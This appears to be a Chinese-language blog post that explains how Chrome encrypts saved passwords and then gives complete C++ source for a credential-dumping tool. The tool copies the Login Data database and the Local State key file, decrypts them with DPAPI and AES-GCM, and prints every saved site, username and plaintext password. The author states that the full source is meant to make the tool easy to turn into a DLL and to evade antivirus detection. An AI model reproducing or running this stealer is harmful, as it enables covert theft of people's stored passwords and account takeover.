0.原理
先知上的文章《c++实现抓取所有版本Chrome存储的密码》解释了chrome浏览器密码存储原理,给出了一些关键代码的截图和示例,并且最终给出了可执行文件。但给出的github中没有给出完整程序的源码,想要改成dll不是很方便,并且没有源码不好做免杀,因此参考该文章自己写了个完整的源码。首先,版本分为80以下版本和80以上版本两种,密码的加密原理如下:
首先,账号密码的数据库文件都保存在 %LocalAppData%\Google\Chrome\User Data\Default\Login Data 中。该文件是一个sqllite数据库文件,密码保存在password_value字段,但根据版本不同,解密方式有所不同。
- 80版本以下:直接调用windows api
CryptUnprotectData解密即可。 - 80版本以上:先从
%LocalAppData%\Google\Chrome\User Data\Local State文件中读取key。该文件是一个json文件,其中的encrypted_key字段保存着aes加密的秘钥。encrypted_key字段需要先base64解码,然后删除前面5位的DPAPI字符,然后调用CryptUnprotectData即可得到aes加密的秘钥。然后使用该秘钥对password_value字段进行解密,该字段0-2字节为固定字符串v10或者v11,3-14位为iv,之后的就是aes-gcm加密的密码,调用aes-gcm解密即可。
1.源码
这里用到了cryptopp作为aes解密的lib,我这里是静态编译的lib文件,换64位的需要重新编译并对源码进行修改。完整的源码如下:
#define _CRT_SECURE_NO_WARNINGS 1;
#include <windows.h>
#include <stdio.h>
#include <fileapi.h>
#include <stdlib.h>
#include "sqlite/sqlite3.h"
#include <string>
#include <regex>
#include <dpapi.h>
#include <fstream>
#include "cryptopp/cryptlib.h"
#include "cryptopp/base64.h";
#include "cryptopp/aes.h";
#include "cryptopp/filters.h";
#include "cryptopp/gcm.h"
#pragma comment(lib,"cryptlib.lib")
#pragma comment(lib,"Crypt32.lib")
using namespace CryptoPP;
using namespace std;
const int TAG_SIZE = 16;
string decryptKey;
string StringToUtf(string strValue) {//用户名可能有中文,防止乱码
int nwLen = MultiByteToWideChar(CP_UTF8, 0, strValue.c_str(), -1, NULL, 0);
wchar_t* pwBuf = new wchar_t[nwLen + 1];//加上末尾'\0'
memset(pwBuf, 0, nwLen * 2 + 2);
MultiByteToWideChar(CP_UTF8, 0, strValue.c_str(), strValue.length(), pwBuf, nwLen);
int nLen = WideCharToMultiByte(CP_ACP, 0, pwBuf, -1, NULL, NULL, NULL, NULL);
char* pBuf = new char[nLen + 1];
memset(pBuf, 0, nLen + 1);
WideCharToMultiByte(CP_ACP, 0, pwBuf, nwLen, pBuf, nLen, NULL, NULL);
std::string retStr = pBuf;
delete[]pBuf;
delete[]pwBuf;
return retStr;
}
char* copyDb() {
char dataFilePath[MAX_PATH], copyDbPath[MAX_PATH];
memset(dataFilePath, 0, sizeof(dataFilePath));
memset(copyDbPath, 0, sizeof(copyDbPath));
strcpy(dataFilePath, getenv("LocalAppData"));
strcat(dataFilePath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
strcpy(copyDbPath, getenv("Temp"));
strcat(copyDbPath, "\\_CL_fbf39e02sy");
if (CopyFileA(dataFilePath, copyDbPath, FALSE)) {
return copyDbPath;
}
else {
return NULL;
}
}
string getDecryptkey()
{
string keyFilePath, copyKeyPath;
bool res;
//拷贝Local State
keyFilePath = getenv("LocalAppData");
keyFilePath += "\\Google\\Chrome\\User Data\\Local State";
copyKeyPath = getenv("Temp");
copyKeyPath += "\\_CL_fbf37e02sy";
if (!CopyFileA(keyFilePath.c_str(), copyKeyPath.c_str(), FALSE)) {
printf("[-] Copy Key File Failed!\n");
return "";
}
else {
printf("[+] Copy Key File Success!\n");
}
//将Local State暂存到key变量
ifstream fileInputStream(copyKeyPath, ios::in);
istreambuf_iterator<char> beg(fileInputStream), end;
string key(beg, end);
fileInputStream.close();
//使用正则匹配获取原始key
regex pattern("\"encrypted_key\":\"([a-zA-Z0-9/+]+)\"");
smatch matchResult;
res = regex_search(key, matchResult, pattern);
if (res) {
key = matchResult.str();
key = key.substr(17, key.length() - 18);//截取中间的值
//printf("key file: \n%s", key.c_str());
printf("[+] Regex Key Value Success!\n");
}
else {
printf("[-] Regex Key Value Failed!\n");
return "";
}
//对Key进行解密
string decodeKey = "";
StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(decodeKey)));
key = decodeKey.substr(5);//去除首位DPAPI字符
decodeKey.clear();
//DPAPI解密
char decryptKey[1000] = "";
DATA_BLOB dataOut = { 0 };
DATA_BLOB dataVerify = { 0 };
dataOut.pbData = (BYTE*)key.c_str();
dataOut.cbData = 1000;
if (!CryptUnprotectData(&dataOut, nullptr, NULL, NULL, NULL, 0, &dataVerify)) {
printf("[-] Decryption key failure: %d\n", GetLastError());
}
else {
printf("[+] Decryption key successfully!\n");
for (int i = 0; i < dataVerify.cbData; i++)
{
decryptKey[i] = dataVerify.pbData[i];
}
}
return decryptKey;
}
string getdecryptPasswd(byte* pcryptPasswd) {
string cryptPasswd = (char*)pcryptPasswd;
if (strstr(cryptPasswd.c_str(), "v10") || strstr(cryptPasswd.c_str(), "v11")) {//判断chrome版本是否为80以上
if (decryptKey.length() == 0) {//先判断是否获取了decryptKey
decryptKey = getDecryptkey();
}
if (cryptPasswd.length() < 15) {//
return "";
}
string iv, decryptPasswd;
iv = cryptPasswd.substr(3, 12);//0-2为前缀,3-14位为iv,共12字节
cryptPasswd = cryptPasswd.substr(15);
CryptoPP::GCM<CryptoPP::AES>::Decryption d;
d.SetKeyWithIV((BYTE*)decryptKey.c_str(), decryptKey.length(), (BYTE*)iv.c_str(), iv.length());
try {
StringSource(cryptPasswd, true, new AuthenticatedDecryptionFilter(d, new StringSink(decryptPasswd), false, TAG_SIZE));
}
catch (...){
return "";
}
return decryptPasswd;
}
else {
//80以下版本直接DPAPI解密
char decryptPasswd[1000] = "";
DATA_BLOB dataOut = { 0 };
DATA_BLOB dataVerify = { 0 };
dataOut.pbData = (BYTE*)pcryptPasswd;
dataOut.cbData = 1000;
if (!CryptUnprotectData(&dataOut, nullptr, NULL, NULL, NULL, 0, &dataVerify)) {
printf("[-] Decryption password failure: %d\n", GetLastError());
}
else {
printf("[+] Decryption password successfully!\n");
for (int i = 0; i < dataVerify.cbData; i++)
{
decryptPasswd[i] = dataVerify.pbData[i];
}
}
return decryptPasswd;
}
}
static int callback(void* NotUsed, int numOfColumns, char** colValueArr, char** colNameArr) {
if (!numOfColumns) {
printf("[-] Sorry, No Password Found In DB!");
return 1;
}
map<string, string> currentCol;
for (int i = 0; i < numOfColumns; i++) {
currentCol[colNameArr[i]] = colValueArr[i];
}
byte* pcryptPasswd = NULL;
pcryptPasswd = (byte*)colValueArr[1];
string decryptPassword;
if (currentCol["password_value"].length()) {
decryptPassword = getdecryptPasswd(pcryptPasswd);
//decryptPassword = getdecryptPasswd(currentCol["password_value"], currentCol["origin_url"]);
}
if (decryptPassword != "") {
printf("------------------------------------\n");
printf("origin_url : %s\n", currentCol["origin_url"].c_str());
//printf("action_url : %s\n", currentCol["action_url"].c_str());
printf("username_value : %s\n", StringToUtf(currentCol["username_value"]).c_str());
printf("password_value : %s\n", decryptPassword.c_str());
printf("------------------------------------\n");
}
return 0;
}
int dumpCurrentUserPassword(){
char* copyDbPath=NULL;
copyDbPath = copyDb();
if (!copyDbPath) {
printf("[-] Copy DB Failed!\n");
return 1;
}
else {
printf("[+] Copy DB Success!\n");
}
//获取sqlite数据库中的数据
sqlite3* db = NULL;
bool failFlag;
failFlag = sqlite3_open(copyDbPath, &db);
if (failFlag) {
printf("[-] Open DB Failed!\n");
return 1;
}
else {
printf("[+] Open DB Success!\n");
}
//callback函数用于对数据库查询的结果做处理
char* ErrMsg = 0;
sqlite3_exec(db, "select username_value,password_value,origin_url,action_url from logins", callback, 0, &ErrMsg);
if (ErrMsg) {
sqlite3_close(db);
return 1;
}
else {
sqlite3_close(db);
return 0;
}
}
int main(int argc, char* argv[])
{
dumpCurrentUserPassword();
}